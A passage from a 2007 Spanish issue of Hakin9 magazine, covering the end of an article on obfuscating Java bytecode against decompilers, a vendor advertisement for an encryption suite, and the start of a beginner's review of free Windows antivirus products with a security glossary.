Para ello como ya hemos visto desensamblamos usando Jasper, el código del método desensamblado está en el Listado 8 y en el Lista-do 9 el código modificado. Si nos fijamos solo incluimos dos bloques de código, uno al principio con una condición que envía al principio del código del método o salta casi al final del método, justo antes del se-gundo bloque, que hace lo mismo o manda al principio del código o salta al final de la aplicación. La condición comprueba si los dos últimos datos almacenados en la pila son iguales y si lo son salta. Se puede ver que la condición se cumplirá siempre ya que en las operaciones anteriores hemos almacenados dos ceros en las pilas. Por lo que en el primer bloque se saltará al inicio del código original del método y en el segundo al final del método con lo que todo se ejecutara con normalidad, pero el descompilador no lo sabe y tendrá que encontrar la manera de pasar ese código a Java, sin embargo Java no permite los saltos dentro del código y el descompilador no es lo suficientemente hábil como para encontrar otra solución. Podemos ver que a pesar de los cambios el programa funciona correctamente

incluyendo las modificaciones en math.j y ensamblando el código con Jasmin.

Java Jasmin math.j

Así comprobaremos que la ejecu-ción se realiza sin ningún problema. Sin embargo al intentar descompilar-lo nos llevamos una sorpresa, en el Listado 10 se puede ver el código del método factorial descompilado con JODE. Es inteligible y no compila, y eso que hemos usado un ejemplo bastante simple.

Combinando varios bloques de estos a lo largo del código de un mé-todo, podemos hacer el código in-descifrable para el descompilador. El punto débil de este sistema es que el curioso siempre podrá desen-samblar el código e intentar arreglar

Listado 9. Cambios introducidos en factorial (int numero) para ofuscar su código

.method public factorial(I)I .limit stack 4

.limit locals 3

.line 6

iconst_0

iconst_0

if_icmpeq LABELo1

goto LABEL0x13

LABELo1:

iload_1

iconst_1

isub

istore_2

LABEL0x4:

iload_2

iconst_1

if_icmple LABEL0x13

.line 7

iload_2

iload_1

imul

istore_1

.line 6

iinc 2 -1

goto LABEL0x4

.line 8

LABEL0x13:

iconst_0

iconst_1

if_icmpeq LABELo1

goto LABELfin

LABELfin:

iload_1

ireturn

.end method

Page 62: Revista Hakin9 n23 04-2007 ES

www.hakin9.org

Defensa

62

el código para que el descompilador funcione.

Otras técnicasPara cerrar este artículo se vana comentar algunas técnicas más para complicar la vida a los diversos curiosos.

No incluir información de depuraciónEs una buena idea compilar el có-digo Java usando el parámetro –g:none, así se evita que se incluya in-formación de depurado en los byte-codes. Eso dificultara la pruebas para entender el funcionamiento de la aplicación.

Ejecutar el código en remotoLa forma más segura de evitar que desensamblen el código es no dár-selo. Para ello lo que podemos hacer es ejecutar la parte del código que queramos proteger en un equipo re-moto que consideremos seguro. Es-ta solución asegura que ningún ojoindiscreto pueda ver el código. Pero presenta más inconvenientes que

ventajas. La primera es que no es una solución aplicable de manera genérica ya que en muchos entor-nos no se podrá aplicar. Aparte de esto el principal problema que se presenta es la carga de trabajo que tendría que soportar nuestro equipo remoto. También hay que tener en cuenta que mucha gente no se fiara de una aplicación que envíe sus da-tos a no se sabe donde. Otro factor a tener en cuenta es el retardo que introduce la transferencia de datos y su ejecución en remoto.

Incluir código dependiente del sistemaOtra forma de complicar la vida a los curiosos es implementar parte de la aplicación en forma de código ejecu-table tradicional, mucho más difícil de analizar y entender y que permite técnicas de protección más eficaces. Con ello se pierde una característica fundamental de Java su independen-cia de plataforma por lo que habrá que generar código ejecutable para todas las posible plataformas donde se pueda ejecutar la aplicación.

Cifrar las clasesCifrar las clases imposibilita que estas puedan ser directamente des-compiladas, pero presenta los mis-mo problemas que se comentaba para el cifrado de cadenas, es rever-sible e introduce una demora la ap-licación. Sin embargo, hará que mu-chos curiosos desistan.

Ocultar errores y logsMuchos logs sirven, entre otras cosas, para saber que ha fallado en caso de que la aplicación no funcione correctamente, lo malo es que se pueden usar para obtener in-formación e incluso permiten trazar el funcionamiento de la aplicación. Hay que evitar ante todo mostrar en pantalla o almacenar en el log las excepciones y aun menos usar el método printStackTrace() que mues-tra una traza completa de ejecución en el punto del programa que ha fallado. Sin embargo en muchos ca-sos es necesario mantener estos logs. La mejor opción es mantener el

log usando mensajes propios, o ci-frados, que solo tengan sentido para quien se va a ocupar de mantener la aplicación y no para el usuario.

Implementar bugs de los desensambladoresEn las páginas web de la mayoría de los desemsambladores, se pue-den encontrar una lista de bugs. Podemos usar esta información en su contra. Incluir en nuestras clases esos bugs, aunque sea en forma de código basura puede dificultar e incluso imposibilitar el descompilar el programa. Por desgracia este mé-todo tiene dos pegas. Tienen fecha de caducidad ya que solo es eficaz hasta que el bug se corrija y puede resultar bastante costoso implemen-tar bugs de todos los descompilado-res más usados, ya no hablemos de implementar algún bug de todos los existentes.

Hay que recordar un punto y es que todas las técnicas usadas son reversibles. Sin embargo un uso in-teligente y bien combinado de ellas puede crear serias dificultades a cual-quier curioso que quiere ojear nues-tro código. Pese a los métodos aquí explicados y las herramientas que actualmente existen, la mejor forma de ofuscar código sigue siendo la imaginación de cada uno.

ConclusiónEn un lenguaje como Java resulta difícil proteger el código de los curiosos, pero las técnicas de ofus-cación pueden dificultarle tanto la labor que desista. No hay ninguna técnica infalible y la mejor opción es combinar varias de ellas. Pero ante todo la mejor técnica es usar la ima-ginación propia e intentar engañar al curioso. l

Sobre el AutorJavier Alcubierre es diplomado en Ingeniería Informática de Sistemas y licenciado en Ingeniería Informática. Siempre se ha sentido atraído por la seguridad informática y sus distintas vertientes.

Listado 10. Resultado obtenido de descompilar factorial (int numero)

public int factorial(int i) { IF (false == false) GOTO flow_8_0_

GOTO flow_30_1_

flow_8_0_:

int i_0_ = i - 1; for (;;) { IF (i_0_ <= 1) GOTO flow_30_1_

i = i_0_ * i;

i_0_--;

}

flow_30_1_:

IF (false == true) GOTO flow_8_0_

GOTO flow_35_2_

flow_35_2_:

GOTO flow_38_3_

flow_38_3_:

int i_1_ = i; GOTO flow_39_4_

flow_39_4_:

int i_1_; return i_1_; GOTO END_OF_METHOD

}

Page 63: Revista Hakin9 n23 04-2007 ES

Enigma Lite Desktop EditionGlobalTrust

La suite Enigma Lite Desktop Edition ofrece una solución modular y escalable para asegurar el almacenamiento y la transferencia de docu-mentos; no sólo satisface los requerimientos de usuarios individuales, protegiendo su ordenador de sobremesa o su portátil, sino que también satisface los de redes geográficas o locales de grandes organizaciones. Enigma permite aplicar las políticas de seguridad más estrictas y ase-gurar la protección y la privacidad de archivos, correos electrónicos, bases de datos y de todo el flujo de documentos.

POR QUÉ ENIGMA? (CAMBIOS LEGALES)En Italia se han introducido leyes y reglamentos nuevos, como el decreto legislativo 196/2003, también conocido como El Código de Privacidad, impuesto para proteger los datos personales fren-te a riesgos tales como la destrucción, perdida o el acceso no autorizado: ésta es la razón por la que instituciones, grandes empresas, PYMES y profe-sionales tienen que cumplir las medidas mínimas de seguridad en lo referente al procesamiento de datos.

De acuerdo al Código de Privacidad, los datos digitales sensibles (pe. datos judiciales, información relacionada con la salud) tienen que encriptarse o hacerse inaccesibles mediante el uso de soluciones tecnológicas que estén actualmente disponibles en el mercado. El Código también preve estrictas sancio-nes en el caso de que se incumpla la ley.

POR QUÉ ENIGMA? (MERCADO ITALIANO)En Italia hay una gran demanda de soluciones fáci-les de utilizar capaces de proteger los documentos en formato electrónico y los datos personales almacenados en ordenadores personales (espe-cialmente portátiles) y archivos de organización de los siguientes dominios:

• Militar (e.g. Encriptación de Documentos Clasi-ficados),

• Financiero (e.g. No repudiation Digital Messa-ging),

• ISP (e.g. Transacciones on-line seguras y Alma-cenamiento),

• Integrador de Sistema (e.g. Solución de Gestión de Documentos segura),

• Universidad y otras instituciones de educa-ción,

• Empresa,• Vendedores (SW/HW),• y otros.

Pero la oferta de productos y soluciones com-petitivas es inadecuada, ya que las existentes (BestCrypt, Signo y principalmente PGP) son poco conocidas o no están muy extendidas.

FUNCIONALIDAD ENIGMASeguridad Interna y Privacidad mayoresEnigma Lite Desktop Edition es la mejor solución para gestionar datos personales de acuerdo a las leyes de privacidad (D.Lgs. n. 196/2003). Enigma Lite Desktop Edition le permite centralizar todas las operaciones que requieran la seguridad de docu-mentos personales o empresariales: firmas digitales, criptografía, almacenamiento seguro, estampación

de fecha, destrucción segura, verificación de autenti-cidad y validación de certificados digitales.

ESTÁ INTEGRADO CON SISTEMAS WINDOWS Y MICROSOFT OFFICEEnigma Lite Desktop Edition es una solución diseña-da para sistemas operativos Microsoft: los compo-nentes de Seguridad de los Documentos del Escritorio están completamente integrados con sistemas ope-rativos Windows y los componentes de software del servidor se instalan en sistemas MS Windows Server.

ESTÁ INTEGRADO CON APLICACIONES PKIEnigma Lite Desktop Edition usa los mecanismos criptográficos más avanzados y es compatible con los estándares X.509 y SSL v.3.0, permitiendo el uso y la gestión de identidades y certificados digitales. Además, Enigma es compatible con los estándares Common Access Card (CAC) y PKCS#11 (Cryptogra-phic Token Interface Standard) para el uso SmartCards y llaves USB.

• Página del producto: http://www.globaltrust.it/ http://www.enigmatrust.org,• Sitio Web: http://www.globaltrust.it/.

Contacto:

Publicidad

Acerca de GlobalTrust

GlobalTrust es una autoridad de certificación y registro,

reconocida a nivel mundial, capaz de emitir todo tipo de

certificados y tecnologías de seguridad digital; usando

las técnicas de seguridad más avanzadas, autenticación,

verificación y cobertura mediante seguros. GlobalTrust

es una autoridad independiente en la protección frente

ataque provenientes de la Red. Gracias a su tecnología,

GlobalTrust permite asegurar las transacciones on-line a

organizaciones de cualquier tamaño, siempre teniendo en

cuenta la relación calidad/precio.

Los documentos empresariales y los datos personales son un patrimonio importante que hay que proteger frente al robo, el malo uso y el acceso no autorizado por parte de los usuarios, tanto dentro como fuera de la organización. Además, la mayoría de la información personal y empresarial es transferida mediante mensajes de correo electrónico o redes geográficas.

Figura 1. Cupón

P U B L I C I D A D

Figura 2. Página Web de Enigma

Page 64: Revista Hakin9 n23 04-2007 ES

www.hakin9.org64

Para principiantes

Se conocen innumerables métodos de ataque contra los sistemas de los usuarios domésticos como también

existen innumerables medidas para mitigarlos que por lo general, no se utilizan. La automati-zación de estos métodos culmina en los virus cuya finalidad suele ser obtener información privada, aprovechar la capacidad de almace-namiento o procesamiento ajenos, el ancho de banda, etc., por lo que es muy recomendable escanear cualquier tipo de soft descargado de la red, incluso proveniente de webs oficiales (por ejemplo, durante este año el servidor de descargas de la compañía Genius fue troya-nizado explotando la vulnerabilidad WMF de los visitantes que accedían para descargar dri-vers). Es evidente que nunca debemos dejar la ardua tarea de proteger un sistema solamente a un antivirus ya que lo más probable es que se vea desbordado y se vulnere con bastan-te facilidad. Pero en última instancia, será el encargado de analizar los comportamientos anómalos de un archivo, tanto en disco como en memoria, avisando al usuario de un posible ataque contra su sistema o su intimidad.

Cuando en las noticias informáticas se habla de redes de bots de decenas de miles

de ordenadores, se trata de PCs como el tuyo, con un simple archivo de unos cuantos Kilobytes de una fuente poco fiable que no ha pasado ningún tipo de control antes de ser ejecutado. La peligrosidad de la mayoría de los virus se subestima. Sobretodo en sistemas Windows donde la importancia de mantener el sistema operativo actualizado es vital para no se infectados.

¿De dónde provienen los números de cuenta y de tarjetas de crédito que manejan los phisers? Es mas que evidente que de engañar

Protege gratis tu Windows

ANELKAOS

Grado de dificultad

Analizamos seis antivirus gratuitos para los sistemas operativos de Microsoft. Existen soluciones gratuitas contra los virus y gusanos de Internet lo suficientemente potentes como para mantener al margen de nuestros ordenadores a la mayoría de estos archivos maliciosos.

En este artículo aprenderás...• Existen antivirus gratuitos que no tienen mucho

que envidiar a los comerciales,• Un soft de protección desactualizado puede

ser el medio para vulnerar tu sistema.

Lo que deberías saber...• Un antivirus no es capaz de proteger todos los

puntos vulnerables de un sistema,• Un antivirus facilita la detección de algunos

archivos maliciosos.

Page 65: Revista Hakin9 n23 04-2007 ES

Antivirus Gratuitos

www.hakin9.org 65

a los usuarios mediante páginas fraudulentas pero existe otro gran porcentaje que salen de ordenado-res infectados con keyloggers y di-ferentes tipos de troyanos. Por mu-chos medios de protección que uti-lice tu banco, no sirven de nada si se introducen desde ordenadores fácilmente vulnerables.

Las modas lo cambian todo, hasta los virusHemos pasado de virus bastante sencillos creados para propagarse en masa e infectar al mayor número de máquinas posibles o simplemen-te robar las contraseñas del correo a auténticos monstruos de la progra-mación capaces de grabar el audio a través del micrófono de la víctima o incluso mostrar en tiempo real lo que ocurre a través de su webcam sin que esta se percate de su funcio-namiento. Son técnicas totalmente reprobables que incurren en delitos contra la intimidad y de revelación de secretos pero que se dan con mayor asiduidad de la que parece. Lo mas preocupante es que cualquiera sin los mas mínimos conocimientos de programación puede acceder y con-figurar a su gusto este tipo de he-rramientas de ataque. Presentamos una serie de antivirus gratuitos que pueden evitar en algunos casos este tipo de situaciones.

Parámetros de valoraciónRealizamos una comparativa un po-co atípica ya que por lo general, se comparan aspectos que no garanti-zan que un antivirus sea mejor que otro como puede ser el diseño de su interfaz gráfica, su usabilidad, porta-bilidad, etc. No es la finalidad de este artículo ya que damos por hecho que nuestros lectores son perfectamente capaces de utilizar todas las opcio-nes que ofrece cada uno de los pro-ductos descritos. Nos centraremos en la seguridad que estos ofrecen. Las características que hacen a un antivirus superior a otro básicamente son que detecte un mayor número de amenazas y sea ligero y transparen-te para el usuario.

Se valorará positivamente una buena gestión de memoria del pro-ducto analizado y de que manera op-timiza los ciclos del procesador pa-ra el análisis de los archivos. No hay que olvidar que un PC simplemente es una herramienta y no podemos derrochar la mayor parte de los recursos en los servicios de herra-mientas de protección por lo que este parámetro será importante.

En esta comparativa se analizaran archivos maliciosos habitualmente utilizados por atacantes con dudosa intencionalidad que es realmente de quien debe proteger un antivirus. El análisis se centrará en la detección de un grupo de troyanos, keyloggers, puertas traseras y rootkits mas o me-nos conocidos. A pesar de ello, los resultados os sorprenderán diciendo bastante poco a favor de los antivirus. Hay que destacar que tener un anti-virus correctamente instalado y ac-tualizado no garantiza que no existan virus en dicho sistema ya que ningún antivirus es capaz de detectar el 100% de los virus.

Glosario de términos para no iniciados en seguridadTermino informático referente a una caída del sistema. Se produce al rea-lizar operaciones inválidas, bucles infinitos o saturar la memoria del PC (normalmente la RAM aunque tam-bién es posible la memoria de las tarjetas gráficas o de sonido) hasta que salta una excepción del sistema operativo que generalmente termina con un reinicio del PC o cuelgue.

VULNERABILIDADFallo de diseño o implementación que compromete la seguridad de un programa o del sistema en el que se encuentra instalado. Las vulne-rabilidades se catalogan según su gravedad. No se debe instalar nunca un programa con vulnerabilidades críticas conocidas sin que exista un parche que lo corrija.

EXPLOITCódigo, programa o técnica utilizada para explotar cualquier tipo de vulne-

rabilidad de otro programa, servicio web o sistema operativo. Existen varias categorías en función del tipo de vulnerabilidad que exploten. Los programamos para introducir y ejecutar una shellcode, escalar privilegios, obtener una consola de sistema remoto, etc.

SHELLCODEUna shellcode es un conjunto de instrucciones, programadas gene-ralmente en lenguaje ensamblador, que se suelen inyectar directamente en la pila mediante un exploit para conseguir que el sistema en el que se introduce, ejecute la serie de ins-trucciones programadas. El micro-procesador solo entiende sistema binario (unos y ceros) que traduce desde la memoria. Cada instrucción lleva asignado un código en sistema hexadecimal que lo hace mas legible que el binario directamente. Las mas pequeñas tan solo ocupan 22 bytes y se utilizan principalmente para de-volver una consola del sistema. En ocasiones los crackers introducen en ellas instrucciones no documen-tadas.

BUFFER OVERFLOWVulnerabilidad que se produce cuan-do en el valor de una variable se escribe un valor demasiado grande sobrescribiendo las direcciones de memoria siguientes. La finalidad de este ataque es efectuar un salto a có-digo arbitrario.

HEAP OVERFLOWVulnerabilidad que se produce cuan-do en el valor de una variable se escribe un valor demasiado grande sobrescribiendo el valor de otra den-tro la memoria reservada para un programa o área de memoria diná-mica.

ROOTKITConjunto de herramientas que tras ser instaladas garantizan el acce-so remoto posterior a un atacante ocultado a los usuarios legítimos sus actividades. Permiten el control total del sistema atacado. Los antivirus no suelen ser capaces de detectarlos.

Page 66: Revista Hakin9 n23 04-2007 ES

www.hakin9.org

Para principiantes

66

KEYLOGGERPrograma generalmente malicioso que captura las teclas pulsadas al-macenándolas en un archivo o en-viándolas directamente por red. Esta función es habitualmente implemen-tada en gran parte de virus.

TROYANOPrograma malicioso con modelo cliente-servidor que sirve para ac-ceder a los ordenadores que tengan el servidor en ejecución. Posibilitan el robo de archivos, contraseñas, imá-genes a través de webcam, sonido a través del micrófono, y el control del resto de periféricos.

GUIAcrónimo de Graphic User Interface o Interfaz Gráfica de Usuario. Es la forma interactiva de presentar infor-mación ante el usuario que tiene un programa o sistema operativo. La usabilidad de un GUI es la medida de lo fácil rápido y agradable que es utilizarlo.

UPXAcrónimo de the Ultimate Packer for eXecutables es un empaquetador de ejecutables con licencia GNU, portable y de alto rendimiento. Ge-neralmente tiene un ratio de compre-sión mejor que WinZip. UPX soporta diferentes formatos de ejecutables, incluyendo programas de Windows y DLLs

ClamWinProbamos el antivirus gratuito más conocido en Internet en su versión 0.88.4 totalmente funcional sobre arquitecturas de 64 bits.

Una de las grandes virtudes de este desarrollo GNU es la oportuni-dad de descargar su código fuente con el fin de revisarlo, personalizarlo o mejorarlo. Cualquier programador de C++ o Python puede aportar ideas, sugerencias y mejoras en la web oficial del producto sin fines de lucro. Su instalador tan solo ocupa 5,46 Mbytes.

Al iniciar la instalación, podemos elegir entre la típica, personalizada o completa: con un tamaño en disco

de entre 21,7 Mbytes y 22,4 Mbytes. También es posible personalizar los módulos que se desean cargar, mientras que la instalación completa incluye la descarga de los archivos de ayuda, que de momento sólo es-tán disponibles en tres idiomas, in-glés, ruso y francés en formato chm. ClamWin utiliza el motor de análisis ClamAV y, siempre que tengamos conexión, nos notificará de si existen nuevas versiones del antivirus, así como de actualizaciones diarias. Se puede configurar las actualizaciones a través de un proxy.

Respecto a su rendimiento, de-tecta gran parte de spyware y se integra en los menús de Explorer y Outlook, por lo que es posible un análisis rápido de un archivo sin más que pulsar el botón derecho. Asimismo, brinda la posibilidad de programar análisis a determinados directorios desde el menú Tools/Preferences/Scheduled Scans/Add especificando la frecuencia de es-tos. Típicamente, se deberían exa-minar las carpetas que almacenan los archivos temporales del sistema operativo, los temporales del nave-gador, las cookies y las carpetas de descargas. Una opción interesante es la notificación por correo electró-nico de las infecciones, es decir, po-demos dejar nuestro PC conectado y ser advertidos vía mail al instante de ser detectado un fichero malicio-so (requiere servidor SMTP).

Por otro lado, ClamWin permite incluir o excluir ciertas extensiones del análisis, pero recomiendo no excluir ningún tipo de archivo, ya que se pueden cambiar las cualidades de prácticamente cualquier tipo. Por ejemplo, es posible construir un MP3 que realmente contenga un vídeo o un código malicioso para ser in-terpretado por nuestro reproductor y que éste lo ejecute, o bien hacer uso de Alternate Data Stream en NTFS ocultando al usuario medio cierta información, etc.

El proceso residente del antivirus se llama ClamTray.exe y es bastante ligero, funciona con tan sólo un par de megas de RAM pero la protección a tiempo real es bastante deficiente.

Por el contrario dispone de un mo-tor de búsqueda en el análisis bajo demanda superior en algunos casos a ciertos antivirus comerciales.

Como curiosidad, la Interfaz gráfica de usuario contiene un fallo mediante el cual es posible realizar un crash del sistema debido a que no existe un límite establecido en el número de llamadas al GUI. Viene a ocupar una cantidad importante de memoria, del orden de entre los 7 y los 25 Mbytes. En la última versión analizada se corrige una vulnerabi-lidad crítica de ejecución de código arbitrario en libclamav/upx.c en la función memcpy() explotando un heap overflow. Se podía aprove-char mediante archivos ejecutables comprimidos con UPX dejando completamente vulnerable el equipo o programando el exploit para abu-sar de esta vulnerabilidad.

FICHA

• Valoración 4,2• Calidad/Precio 4,2

Contacto

• Clam Antivirus• http://www.clamwin.com

Lo mejorManual disponible en formatos chm, pdf, existen foros de ayuda en inglés y permite su ejecución desde un CD o unidad USB.

Lo peorNo incluye enciclopedia de virus, mala protección a tiempo real.

AVG Free EditionLa versión 7.1.405 del antivirus gra-tuito de la compañía Grisoft está disponible desde el 11 de Agosto y tiene un instalador de 16,9 Mbytes ofreciendo al usuario dos tipos de instalación, la personalizada y la es-tándar. Personalizando la instalación ofrece la posibilidad de cargar diver-sos plugins de análisis de clientes de correo ya sea The Bat!, Outlook, Eu-dora o cualquier otro cliente de co-rreo. El manual oficial se encuentra

Page 67: Revista Hakin9 n23 04-2007 ES

Antivirus Gratuitos

www.hakin9.org 67

en http://free.grisoft.cz.softw/70free/doc/avg_fre_ref_en_71_5.pdf.

Tras su instalación, aparece la guía de primera ejecución la cual ayuda al usuario a actualizar el antivirus, crear un disco de recupe-ración, escanear el PC y finalmente registrarse si se desea. En primer lu-gar se debe proceder a la actualiza-ción ya sea desde Internet o desde una carpeta accesible desde el PC. En la actualización desde Internet se muestra un formulario que man-tiene informado en todo momento al usuario con el tráfico descargado. Respecto al disco de rescate es preferible realizarlo desde el propio sistema operativo para evitar con-flictos entre sistemas de archivos y permisos NTFS por lo que continuo con el siguiente paso.

En tercer lugar ofrece la posibili-dad de escanear todo el PC en busca de virus, comenzando por la tabla de particiones, sector de arranque, registro del sistema operativo, claves de registro con procesos y servicios en ejecución, librerías de linkado diná-mico, archivos de sistema y el resto de archivos por este orden de prioridad.

Finalmente AVG Free ofrece la posibilidad de registrarse para conse-guir acceso a los foros de discusión y soporte técnico del antivirus, recibir información de la familia de productos de Grisoft. En la versión Professional está disponible en castellano al igual que muchas otras opciones deshabi-litadas en la versión Free tales como el análisis de avanzado, reporte de archivos protegidos por contraseña, ajuste de la prioridad del proceso de exploración, etc.

El Control Center de AVG posee un entorno gráfico bastante vistoso y sencillo con siete paneles de confi-guración donde podremos configurar las propiedades de cada uno.

El Test Control dispone de tres opciones principales, escanear to-do el PC, escanear ciertas carpetas o unidades extraíbles como disque-tera, pendrive, unidades de CD o DVD, y comprobar si existen nuevas ver-siones. Dispone de un menú que presta acceso a centro de control que sirve para configurar las opcio-

nes de los análisis. Dentro de la protección a tiempo real ofrece una opción muy interesante y que dota de gran eficiencia a este antivirus, se trata del On-close scanning o es-caneo de una aplicación que se cie-rra, es recomendable marcar este checkbox, de otra forma, solo se es-canean las aplicaciones al ser abier-tas.

Virus Vault, o jaula de virus se-rá el lugar del disco duro donde se muestren los archivos infectados. Por defecto se reserva el 20% de la capacidad de la partición en el que se instala.

En el botón Test Result del Test Center podemos ver los registros de todos los análisis realizados acce-diendo a una enciclopedia de virus online sin mas que utilizar el evento doble clic sobre el archivo infectado detectado.

Sus métodos de protección son varios que paso a detallar. AVG Free realiza un análisis heurístico, es de-cir, aplica un algoritmo de búsqueda optimizado reduciendo al mínimo el tiempo de ejecución, consumiendo por tanto el menor número de ci-clos de reloj del microprocesador. La eficiencia de estos métodos de análisis se utiliza en la mayoría de los antivirus de pago, se consiguen optimizando las funciones matemáti-cas de búsqueda y sirven para que no se abuse del microprocesador en el escudo residente. La detección genérica se reduce a comparar los archivos con la base de firmas del antivirus.

Este antivirus utiliza 5 procesos independientes pero ninguno de ellos suele superar los 8 Mbytes en memoria a no ser en tiempo de análisis con una carga considerable. El proceso avgb.dat se correspon-de con el Test Center. avgw.exe y avgcc.exe se ejecutan con los privilegios del usuario de la sesión mientras que el resto (avgamsrv.exe, avgem.exe y avgupsvc.exe) lo hacen con privilegios de sistema ya que son los tres servicios (Alert Manager Server, E-mail Scanner y Update Service) que instala este antivirus. Es posible reducir la carga del Con-

trol Center en memoria gracias a la vista en modo reducido que se pue-de seleccionar en el menú View o pul-sando F3. Además dispone también de la solución anti-spyware ewido. Si se instala en un sistema junto con Norton Internet Security no se debe instalar el plugin para Microsoft Office para evitar conflictos entre ambos programas.

FICHA

• Valoración 5,42• Calidad/Precio 5,42

Contacto

• Grisoft• http://free.grisoft.com• 902 36 46 95

Lo mejorExisten múltiples hot keys para un rápido acceso a cada opción de los diferentes menús. Muy configurable. Manual muy completo.

Lo peorLa selección del lenguaje está blo-queada a inglés en la versión Free.

BitDefender 8 Free EditionSoftWin es una empresa de soft que se dedica a la detección de archi-vos maliciosos con sus diferentes productos BitDefender. Su antivirus utiliza el mismo motor de búsqueda que otras versiones comerciales de BitDefender certificado por ICSA. Se desarrolla en Barcelona con el apo-yo de los laboratorios principales en Estados Unidos y Rumania. Como siempre, dispone de la instalación típica, completa y personalizada. El espacio requerido en disco alcanza un máximo de 37MBytes y un míni-mo de 12 Mbytes.

Tras la instalación realiza un aná-lisis volcando el contenido de los re-sultados muy detallados a un fichero en texto plano visible pulsando el botón Show reports o también pode-mos visualizar y gestionar todos los registros de análisis en la pestaña Reports.

Page 68: Revista Hakin9 n23 04-2007 ES

www.hakin9.org

Para principiantes

68

Este antivirus suele salir bastan-te bien parado en las comparativas por su alto índice de detección de archivos maliciosos pero la realidad es bien distinta. No posee protección residente por lo que es relativamente sencillo burlarlo sin que el usuario se percate. No recomiendo en absoluto un antivirus sin este tipo de protec-ción a pesar de tener un excelente ratio de localización de virus debido a su excelente motor de búsqueda. También es necesario modificar los permisos de usuario debido una política bastante restrictiva de per-misos, esto es una virtud aunque no lo parezca.

Prácticamente todas las aler-tas pueden configurarse para que BitDefender responda a la aparición de cualquier tipo de archivo malicio-so que detecte.

bdmcon.exe consume unos 9 MBy junto con bdss.exe que con sume aproximadamente 26 MB de memo-ria forman el grueso del antivirus. xcommsvr.exe es el proceso que uti-lizan varios componentes del anti-virus para comunicarse, es mas li-gero, suele utilizar 3 MB cuando mantiene los buffer de transmisión vacíos. Existen otros dos procesos mas en ejecución con un consumo de memoria de menos de 1 MB, son bdnagent.exe y bdswitch.exe.

Otro aspecto a destacar es el Self-repairing la recuperación del antivirus ante ataques contra la inte-gridad de sus archivos sin necesidad de descargarlos de nuevo.

Si tenemos conexión el antivirus intentará contactar con los servido-res de BitDefender para determinar si hay disponible alguna nueva ver-sión del antivirus o de las firmas este nos avisa. Además dispone de un modulo capaz de reparar, modificar o desinstalar los propios archivos del antivirus. Esta herramienta es de gran ayuda si se da el caso de que nuestro antivirus sea atacado direc-tamente por un cracker.

FICHA

• Valoración 7,1• Calidad/Precio 7,1

Contacto

• SoftWin• www.bitdefender.com• [email protected]• 93 217 91 28

Lo mejorActualizaciones frecuentes, motor rápido.

Lo peorNo dispone de protección residente.

Avast! 4 Home EditionAnalizamos la versión 4.7.844 de Au-tomated Vulnerability Analysis Sup-port Tool (AVAST), el antivirus gra-tuito, de uso privado y no comercial de Alwil Software. Tiene un periodo de 60 días para registrar vía web el producto poder utilizarlo durante 14 meses con cada registro. Puedes registrarte de forma gratuita cuantas veces quieras.

Tras la instalación se pregunta al usuario si desea programar una bús-queda de virus al inicio del sistema. Si respondemos afirmativamente al reiniciar el PC se ejecuta una bús-queda de archivos maliciosos antes incluso de cargar ciertos servicios de Windows. El análisis es algo lento pero muy exhaustivo.

El programa de instalación insta-lará los módulos de protección para los siguientes componentes:

• Mensajería instantánea,• Protección P2P,• Correo de internet,• Outlook/Exchange,• Escudo de Red,• Protección Web,• Protección Estándar,• Extensión del idioma español,• Ayuda en español.

Inicialmente configuraremos el es-cáner por acceso de Avast! (icono con a del área de notificación de la barra de tareas). Aumentaremos la sensibilidad del escáner moviendo la barra de desplazamiento hasta Alto. Pulsando en el botón Detallespasamos a visualizar todos los mó-dulos residentes instalados configu-

rándolos por separado ofreciendo la posibilidad de pausar, detener e ini-ciar los módulos por separado. Con cada cambio el antivirus pregunta si se desea mantener ese cambio en el estado del módulo de forma per-manente o solo en la sesión actual. Cada uno de los módulos dispone de un contador de escaneos, infec-ciones y tiempo que lleva operativo, este último contador es muy útil para saber si en algún momento se ha detenido alguno de los módulos por un atacante. Una vez configurado de esta forma y con las opciones perso-nalizadas que cada usuario estime oportunas a su sistema podemos actualizar las firmas de virus (Vps).

Accediendo al Interfaz de Usua-rio Simple de Avast! desde el menú de programas podemos configurar el tipo de escaneo bajo demanda en tres niveles (rápido, estándar y minucioso). Recomiendo marcar el checkbox de archivos comprimidos para evitar que se oculten virus en archivos de este tipo.

Tras arrancar el antivirus desde el sistema operativo realiza un aná-lisis de memoria e inicio analizando todo cuanto esté en la memoria RAM. Incluso analiza el archivo pagefile.sys. Al detectar cualquier tipo de archivo malicioso ofrece la posibilidad de mover al Baúl para que no sea posible su ejecución pero por otra parte, la versión analizada, permite copiarlo al mismo directorio del antivirus lo que podría suponer un riesgo para el usuario.

La BDRV (Virus Recovery Data-base) es un generador de una base de datos de integridad para la recu-peración de archivos implementado por Avast! para verificar si se ha corrompido alguno de los archivos del sistema. Esta comprobación se realiza cada 3 semanas o cada vez que se activa el protector de pantalla y si un virus modificase alguno de los archivos de sistema seria detectado y reparado, en principio. Es muy recomendable utilizar la BDRV en el caso de usar Thunderbird ya que bajo ciertas circunstancias, avast! es capaz de corromper toda la bandeja de entrada.

Page 69: Revista Hakin9 n23 04-2007 ES

Antivirus Gratuitos

www.hakin9.org 69

También dispone de protección a nivel del núcleo del sistema opera-tivo para detectar módulos malicio-sos que hagan llamadas al kernel. Aún así no ha sido capaz de detectar el keylogger utilizado en esta com-parativa.

Los procesos que utiliza este an-tivirus requieren un uso de memoria muy bajo, debido al procesamiento modular tan ramificado que utiliza el avast!. ashSimp.exe es el interfaz que junto con AshDisp.exe forman los procesos que ejecuta el usuario; mientras que ashServ.exe necesita-rá casi 11 MB para su correcto fun-cionamiento, un poco excesivo, re-quiriendo privilegios de sistema jun-to con ashWebSv.exe y aswUpdSv para las tareas que realizan (ac-tualización, servicios de acceso al kernel, etc).

Con cada detección de archivos maliciosos Avast! dispone de una en-ciclopedia de virus para conocer mas detalladamente la amenaza de-tectada que junto con su completo manual de obligada lectura para una configuración correcta forma la do-cumentación de este antivirus.

La versión Professional confi-gurada para una protección máxi-ma da problemas con la opción del proxy transparente de Avast! si se utiliza el cortafuegos Zone Alarm. El dia 8 de septiembre se publica una vulnerabilidad crítica en el mo-tor de las versiones anteriores a la 4.7.869 para estaciones de trabajo y 4.7.660 en la versión para servi-dores según la cual, al procesar archivos con compresión LHA y nom-bres de archivos y directorios exten-didos, se puede provocar un des-bordamiento en el buffer del motor permitiendo así la ejecución arbi-traria de código.

Como curiosidad existe una web dedicada a la creación de skins para el antivirus con numerosas muestras. http://www.avast.com/eng/skins.html.

FICHA

• Valoración 6,54• Calidad/Precio 6,54

Contacto

